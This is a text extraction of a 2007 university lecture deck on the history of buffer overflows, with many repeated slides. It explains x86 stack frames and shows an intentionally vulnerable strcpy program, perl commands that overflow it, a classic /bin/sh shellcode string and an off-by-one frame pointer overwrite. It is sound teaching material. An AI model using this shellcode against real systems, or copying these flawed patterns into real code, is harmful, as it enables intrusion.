On the Evolution of Buffer Overflows -...
Transcript of On the Evolution of Buffer Overflows -...
IntroductionBuffer Overflows
Conclusion
On the Evolution of Buffer Overflows
Matthias Vallentin
Computer Science DepartmentTechnical University Munich
Munich, Germany, May 24, 2007
Matthias Vallentin On the Evolution of Buffer Overflows 1 / 146
IntroductionBuffer Overflows
Conclusion
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 2 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 3 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 4 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Software Vulnerabilities – RAID 2006 Keynote
853 “high severity” software vulnerabilities disclosed in lasthalf of 2005.
Exploit code developed and published an average of 6.8 daysafter the announcement of a vulnerability.
49 days to issue a patch.
Matthias Vallentin On the Evolution of Buffer Overflows 5 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Software Vulnerabilities – RAID 2006 Keynote
853 “high severity” software vulnerabilities disclosed in lasthalf of 2005.
Exploit code developed and published an average of 6.8 daysafter the announcement of a vulnerability.
49 days to issue a patch.
Matthias Vallentin On the Evolution of Buffer Overflows 6 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Software Vulnerabilities – RAID 2006 Keynote
853 “high severity” software vulnerabilities disclosed in lasthalf of 2005.
Exploit code developed and published an average of 6.8 daysafter the announcement of a vulnerability.
49 days to issue a patch.
Matthias Vallentin On the Evolution of Buffer Overflows 7 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Code Characteristics – RAID 2006 Keynote
Code is root of the problem:
ComplexityHigh # of lines of code (LOC)
ExtensibilityUpdatesExtensionsModularity
ConnectivityUbiquity of the InternetMultiple attack vectors on the clients (mail clients, browsers,etc.)
Matthias Vallentin On the Evolution of Buffer Overflows 8 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Code Characteristics – RAID 2006 Keynote
Code is root of the problem:
ComplexityHigh # of lines of code (LOC)
ExtensibilityUpdatesExtensionsModularity
ConnectivityUbiquity of the InternetMultiple attack vectors on the clients (mail clients, browsers,etc.)
Matthias Vallentin On the Evolution of Buffer Overflows 9 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Code Characteristics – RAID 2006 Keynote
Code is root of the problem:
ComplexityHigh # of lines of code (LOC)
ExtensibilityUpdatesExtensionsModularity
ConnectivityUbiquity of the InternetMultiple attack vectors on the clients (mail clients, browsers,etc.)
Matthias Vallentin On the Evolution of Buffer Overflows 10 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Exploitation Techniques
Some common code exploitation techniques:
Buffer Overflows
Format String Vulnerabilities
Integer Overflows
Race conditions
Code injection (SQL)
XSS scripting
Definition
A Buffer Overflow (Buffer Overrun) occurs when a programattempts to store data in a buffer and the data is larger than thesize of the buffer [Szo05].
Matthias Vallentin On the Evolution of Buffer Overflows 11 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Exploitation Techniques
Some common code exploitation techniques:
Buffer Overflows
Format String Vulnerabilities
Integer Overflows
Race conditions
Code injection (SQL)
XSS scripting
Definition
A Buffer Overflow (Buffer Overrun) occurs when a programattempts to store data in a buffer and the data is larger than thesize of the buffer [Szo05].
Matthias Vallentin On the Evolution of Buffer Overflows 12 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 13 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls
void foo(int a, int b, int c){
int bar[2];char qux[3];
bar[0] = ’A’;qux[0] = 0x2a;
}
int main(void){
int i = 1;foo(1, 2, 3);
return 0;}
Matthias Vallentin On the Evolution of Buffer Overflows 14 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Terminology
Terminology
SFP saved frame pointer: saved %ebp on the stack
OFP old frame pointer: old %ebp from the previousstack frame
RIP return instruction pointer: return address on thestack
Matthias Vallentin On the Evolution of Buffer Overflows 15 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
ebp
esp
Matthias Vallentin On the Evolution of Buffer Overflows 16 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
ebp
esp
Matthias Vallentin On the Evolution of Buffer Overflows 17 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
ofp
esp + ebp
Matthias Vallentin On the Evolution of Buffer Overflows 18 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
ofp
ebpesp
Matthias Vallentin On the Evolution of Buffer Overflows 19 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
ofp
ebpesp
Matthias Vallentin On the Evolution of Buffer Overflows 20 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
3
2
1
ofp
ebp
esp
Matthias Vallentin On the Evolution of Buffer Overflows 21 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
3
2
1
rip
ofp
ebp
esp
Matthias Vallentin On the Evolution of Buffer Overflows 22 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
ofp
ebp
esp
Matthias Vallentin On the Evolution of Buffer Overflows 23 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ebp
esp
Matthias Vallentin On the Evolution of Buffer Overflows 24 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ofp (m)
esp + ebp
Matthias Vallentin On the Evolution of Buffer Overflows 25 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ofp (m)
ebp
esp
Matthias Vallentin On the Evolution of Buffer Overflows 26 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ofp (m)
ebp
esp00 00 00 41
Matthias Vallentin On the Evolution of Buffer Overflows 27 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ofp (m)
ebp
esp00 00 00 41
42
Matthias Vallentin On the Evolution of Buffer Overflows 28 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ofp (m)
esp + ebp
00 00 00 41
42leave: movl %ebp,%esp popl %ebp
Matthias Vallentin On the Evolution of Buffer Overflows 29 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ebp
esp
00 00 00 41
42leave: movl %ebp,%esp popl %ebp
Matthias Vallentin On the Evolution of Buffer Overflows 30 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret
sfp
1
3
2
1
rip
sfp
ofp
ebp
esp
00 00 00 41
42ret: popl %eip
Matthias Vallentin On the Evolution of Buffer Overflows 31 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
3
2
1
rip
sfp
ofp
ebp
esp
00 00 00 41
42
Matthias Vallentin On the Evolution of Buffer Overflows 32 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
3
2
1
rip
sfp
ofp
ebpesp
00 00 00 41
42
Matthias Vallentin On the Evolution of Buffer Overflows 33 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
3
2
1
rip
sfp
ofp
ebpesp
00 00 00 41
42
Matthias Vallentin On the Evolution of Buffer Overflows 34 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
3
2
1
rip
sfp
ofp
esp + ebp
00 00 00 41
42
Matthias Vallentin On the Evolution of Buffer Overflows 35 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
sfp
1
3
2
1
rip
sfp
ebp
esp
00 00 00 41
42
Matthias Vallentin On the Evolution of Buffer Overflows 36 / 146
IntroductionBuffer Overflows
Conclusion
MotivationUnderstanding Function Calls
Function Calls in Assembler
main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret
(rip)
sfp
1
3
2
1
rip
sfp
ebpesp
00 00 00 41
42
Matthias Vallentin On the Evolution of Buffer Overflows 37 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 38 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 39 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Vulnerable Code: foo.c
void foo(char *args){
char buf[256];strcpy(buf, args);
}
int main(int argc, char *argv[]){
if (argc > 1)foo(argv[1]);
return 0;}
Matthias Vallentin On the Evolution of Buffer Overflows 40 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Vulnerable Code: foo.c
void foo(char *args){
char buf[256];strcpy(buf, args);
}
int main(int argc, char *argv[]){
if (argc > 1)foo(argv[1]);
return 0;}
Matthias Vallentin On the Evolution of Buffer Overflows 41 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
rip
sfp ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
?? ?? ?? ??
256 bytes
main()
foo()
&buf
Matthias Vallentin On the Evolution of Buffer Overflows 42 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
rip
sfp ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
\0 42 42 42
256 bytes
main()
foo()
&buf
Matthias Vallentin On the Evolution of Buffer Overflows 43 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
rip
sfp ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
?? ?? ?? ??
256 bytes
main()
foo()
&buf
Matthias Vallentin On the Evolution of Buffer Overflows 44 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
rip
sfp ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
256 bytes
main()
foo()
&buf
\0
Matthias Vallentin On the Evolution of Buffer Overflows 45 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
rip
sfp ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
?? ?? ?? ??
256 bytes
main()
foo()
&buf
Matthias Vallentin On the Evolution of Buffer Overflows 46 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
rip
ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
256 bytes
main()
foo()
&buf
\0 42 42 42
Matthias Vallentin On the Evolution of Buffer Overflows 47 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
rip
sfp ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
?? ?? ?? ??
256 bytes
main()
foo()
&buf
Matthias Vallentin On the Evolution of Buffer Overflows 48 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
256 bytes
main()
foo()
&buf
42 42 42 42
42 42 42 42
\0
Matthias Vallentin On the Evolution of Buffer Overflows 49 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Provoking the Overflow
gcc -o foo foo.c
./foo `perl -e ’print "B"x255’`
./foo `perl -e ’print "B"x256’`
./foo `perl -e ’print "B"x259’`
./foo `perl -e ’print "B"x264’`
Attack Vectors
Denial-of-Service (DoS) attacks
Modifying the execution path
Executing injected (shell-)code
ebp
esp42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
42 42 42 42
256 bytes
main()
foo()
&buf
42 42 42 42
42 42 42 42
\0
Matthias Vallentin On the Evolution of Buffer Overflows 50 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploit Code Ingredients
Injected code has generally two components:1 Payload
malicious program instructions(e.g. shellcode)
2 Injection Vector (IV)
describes techniques to overwrite avulnerable buffer.directs the execution flow to thepreviously injected payload.
rip
sfp
payload
buf
payload address
Conclusion
→ ”The IV is the cruise missile for the warhead (payload).”
→ This modularity allows separate construction of IV andpayload
Matthias Vallentin On the Evolution of Buffer Overflows 51 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploit Code Ingredients
Injected code has generally two components:1 Payload
malicious program instructions(e.g. shellcode)
2 Injection Vector (IV)
describes techniques to overwrite avulnerable buffer.directs the execution flow to thepreviously injected payload.
rip
sfp
payload
buf
payload address
Conclusion
→ ”The IV is the cruise missile for the warhead (payload).”
→ This modularity allows separate construction of IV andpayload
Matthias Vallentin On the Evolution of Buffer Overflows 52 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploit Code Ingredients
Injected code has generally two components:1 Payload
malicious program instructions(e.g. shellcode)
2 Injection Vector (IV)
describes techniques to overwrite avulnerable buffer.directs the execution flow to thepreviously injected payload.
rip
sfp
payload
buf
payload address
Conclusion
→ ”The IV is the cruise missile for the warhead (payload).”
→ This modularity allows separate construction of IV andpayload
Matthias Vallentin On the Evolution of Buffer Overflows 53 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
NOP sliding [Phr49-14]
rip
sfp
shellcode
buf
payload addressNOPs (0x90)
char shellcode[] = "\xeb\x1f" /* jmp 0x1f (2) */ "\x5e" /* popl %esi (1) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) (3) */ "\x31\xc0" /* xorl %eax,%eax (2) */ "\x88\x46\x07" /* movb %eax,0x7(%esi) (3) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) (3) */ "\xb0\x0b" /* movb $0xb,%al (2) */ "\x89\xf3" /* movl %esi,%ebx (2) */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx (3) */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx (3) */ "\xcd\x80" /* int 0x80 (2) */ "\x31\xdb" /* xorl ebx,ebx (2) */ "\x89\xd8" /* movl %ebx,%eax (2) */ "\x40" /* inc %eax (1) */ "\xcd\x80" /* int 0x80 (2) */ "\xe8\xdc\xff\xff\xff" /* call -0x24 (5) */ "/bin/sh"; /* .string \"/bin/sh\" (8) */
Matthias Vallentin On the Evolution of Buffer Overflows 54 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 55 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Definitions
Off-by-One
Exceedingly common error induced in many ways, such as by
starting at 0 instead of at 1 (and vice versa).
writing <= N instead of < N (and vice versa).
giving something next to the person who should have gottenit.
An Off-by-One Overflow is generally a one-byte buffer overflow.
Frame Pointer Overwrite
A Frame Pointer Overwrite is a special case of an off-by-oneoverflow. If a local buffer is declared at the beginning of afunction, it is possible to manipulate the LSB of the saved framepointer (on little-endian architectures).
Matthias Vallentin On the Evolution of Buffer Overflows 56 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Definitions
Off-by-One
Exceedingly common error induced in many ways, such as by
starting at 0 instead of at 1 (and vice versa).
writing <= N instead of < N (and vice versa).
giving something next to the person who should have gottenit.
An Off-by-One Overflow is generally a one-byte buffer overflow.
Frame Pointer Overwrite
A Frame Pointer Overwrite is a special case of an off-by-oneoverflow. If a local buffer is declared at the beginning of afunction, it is possible to manipulate the LSB of the saved framepointer (on little-endian architectures).
Matthias Vallentin On the Evolution of Buffer Overflows 57 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Frame Pointer Overwrite
void foo(){
char buf[256];int i;
for (i = 0; i <= 256; i++)buf[i] = Oxff;
}
Matthias Vallentin On the Evolution of Buffer Overflows 58 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Frame Pointer Overwrite
void foo(){
char buf[256];int i;
for (i = 0; i <= 256; i++)buf[i] = Oxff;
}
Matthias Vallentin On the Evolution of Buffer Overflows 59 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Frame Pointer Overwrite
void foo(){
char buf[256];int i;
for (i = 0; i <= 256; i++)buf[i] = Oxff;
}
rip
sfp ebp
i esp25
6 by
tes
main()
foo()
&buf
Matthias Vallentin On the Evolution of Buffer Overflows 60 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Frame Pointer Overwrite
void foo(){
char buf[256];int i;
for (i = 0; i <= 256; i++)buf[i] = Oxff;
}
rip
sfp ebp
100 espff ff ff ff
ff ff ff ff
ff ff ff ff
256
byte
s
main()
foo()
&buf
ff
Matthias Vallentin On the Evolution of Buffer Overflows 61 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp
; esp := modified SFP (mSFP)
popl %ebpret: popl %eip
; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 62 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp
; esp := modified SFP (mSFP)
popl %ebpret: popl %eip
; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 63 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.
→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp
; esp := modified SFP (mSFP)
popl %ebpret: popl %eip
; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 64 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting the Frame Pointer Overwrite
We cannot overwrite the RIP as it resides beyond the SFP.
But we can modify the environment of the higher stack frame,e.g. main():
→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.
leave and ret in main()
leave: movl %ebp,%esp
; esp := modified SFP (mSFP)
popl %ebpret: popl %eip
; eip := mSFP + 4
Matthias Vallentin On the Evolution of Buffer Overflows 65 / 146
IntroductionBuffer Overflows
Conclusion
